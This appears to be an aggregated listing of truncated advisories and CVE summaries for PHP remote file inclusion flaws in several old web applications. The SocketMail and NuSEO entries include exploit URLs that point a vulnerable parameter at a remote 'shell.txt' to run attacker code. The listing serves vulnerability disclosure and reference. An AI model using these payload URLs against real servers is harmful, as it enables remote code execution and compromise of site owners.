socketmail-rfi.txt

Vulnerability Type: Remote File Inclusion Vulnerable file: /mail/content/fnc-readmail3.php Exploit URL: http://localhost/mail/content/fnc-readmail3.php?SOCKETMAILROOT=http://localhost/shell.txt? Method: get Registerglobals: On Vulnerable variable: SOCKETMAILROOT Line number: 399 Lines:...

SocketMail 2.2.8 fnc-readmail3.php Remote File Inclusion Vulnerability

Exploit for unknown platform in category web applications ====================================================================== SocketMail 2.2.8 fnc-readmail3.php Remote File Inclusion Vulnerability ====================================================================== Vulnerability Type: Remote...

CVE-2003-1385

CVE-2003-1385 affects Invision Power Board 1.1.1 via ipchat.php: the root_path parameter allows remote file inclusion when register_globals is enabled, enabling an attacker to reference a URL containing PHP code and execute it on the server. This results in remote code execution with the web serv...

nuseo-rfi.txt

Vulnerability Type: Remote File Inclusion Vulnerable file: /NuSEO PHP Enterprise.v1.6 Nulled by DGT/NuSEO.PHP.Enterprise.v1.6.PHP.NULL-DGT/nuseo/admin/nuseoadmind.php Exploit URL: http://localhost/path/nuseo/admin/nuseoadmind.php?nuseodir=http://localhost/shell.txt? Method: get Registerglobals: O...

nuseo PHP enterprise 1.6 - Remote File Inclusion

Vulnerability Type: Remote File Inclusion Vulnerable file: /NuSEO PHP Enterprise.v1.6 Nulled by DGT/NuSEO.PHP.Enterprise.v1.6.PHP.NULL-DGT/nuseo/admin/nuseoadmind.php Exploit URL: http://localhost/path/nuseo/admin/nuseoadmind.php?nuseodir=http://localhost/shell.txt? Method: get Registerglobals: O...

nuseo PHP enterprise 1.6 - Remote File Inclusion

nuseo PHP enterprise 1.6 - Remote File Inclusion Vulnerability Type: Remote File Inclusion Vulnerable file: /NuSEO PHP Enterprise.v1.6 Nulled by DGT/NuSEO.PHP.Enterprise.v1.6.PHP.NULL-DGT/nuseo/admin/nuseoadmind.php Exploit URL:...

Remote file inclusion

PHP remote file inclusion vulnerability in common.php in LiveAlbum 0.9.0, when registerglobals is enabled, allows remote attackers to execute arbitrary PHP code via a URL in the livealbumdir parameter...

CVE-2007-5314

PHP remote file inclusion vulnerability in system/funcs/xkurl.php in xKiosk WEB 3.0.1i, when registerglobals is enabled, allows remote attackers to execute arbitrary PHP code via a URL in the PEARPATH parameter...

CVE-2007-5315

LiveAlbum 0.9.0 is affected by a PHP remote file inclusion via the common.php handling when register_globals is enabled. Attackers can supply a URL to livealbum_dir to run arbitrary PHP code on the affected system. The vulnerability is documented in multiple sources (CVE-2007-5315) and is associa...

CVE-2007-5315

PHP remote file inclusion vulnerability in common.php in LiveAlbum 0.9.0, when registerglobals is enabled, allows remote attackers to execute arbitrary PHP code via a URL in the livealbumdir parameter...

CVE-2007-5186

Segue CMS suffers a PHP remote file inclusion via the themesdir parameter in index.php (and related themes/settings scripts) for versions 1.8.4 and earlier. The underlying issue is unsanitized input used to include PHP code in themes/program/themesettings.inc.php, which can enable arbitrary code ...

Poppawid 2.7 - form Remote File Inclusion

Poppawid 2.7 - form Remote File Inclusion Poppawid Remote File include f0und bY 0in Greetings to: All Dark-Coders Team Members IRC: dark-coders at warszawa.irc.pl About:poppermod-wid is a free and popular, full featured web based email client Download:http://poppawid.sourceforge.net/ No dork for...

Remote file inclusion

PHP remote file inclusion vulnerability in admin/include/header.php in chupix 0.2.3, when registerglobals is enabled, allows remote attackers to execute arbitrary PHP code via a URL in the repertoire parameter...

CVE-2007-5139

PHP remote file inclusion vulnerability in admin/include/header.php in chupix 0.2.3, when registerglobals is enabled, allows remote attackers to execute arbitrary PHP code via a URL in the repertoire parameter...

CVE-2007-5139

CVE-2007-5139 affects chupix 0.2.3 and relates to a PHP remote file inclusion in admin/include/header.php when register_globals is enabled. The vulnerability allows an attacker to execute arbitrary PHP code by supplying a URL in the repertoire parameter. Root cause is the unsafe handling of user-...

chupix-rfi.txt

chupix 0.2.3 /admin/include/header.php RFI f0und by 0in contact: [email protected] Greetings to:Die-angel,Slim,Joker186,Kaja,Artysta,wojto111,reydex team:Our Dark-Coders team; --------------------------------------------------------------------------------------------------------------------...

Remote file inclusion

PHP remote file inclusion vulnerability in config.inc.php in Wordsmith 1.0 RC1, when registerglobals is enabled, allows remote attackers to execute arbitrary PHP code via a URL in the path parameter...

Remote file inclusion

Multiple PHP remote file inclusion vulnerabilities in DFD Cart 1.1.4 and earlier, when registerglobals is enabled, allow remote attackers to execute arbitrary PHP code via a URL in the setdepth parameter to 1 app.lib/product.control/core.php/product.control.config.php, or 2 customer.browse.list.p...

CVE-2007-5100

Multiple PHP remote file inclusion vulnerabilities in phpBB Plus 1.53, and 1.53a before 20070922, when registerglobals is enabled, allow remote attackers to execute arbitrary PHP code via a URL in the phpbbrootpath parameter to 1 language/langgerman/langadminalbum.php, 2...

CVE-2007-5103

Directory traversal vulnerability in config.inc.php in Wordsmith 1.0 RC1, when registerglobals is enabled, allows remote attackers to include and execute arbitrary local files via a .. dot dot in the path parameter...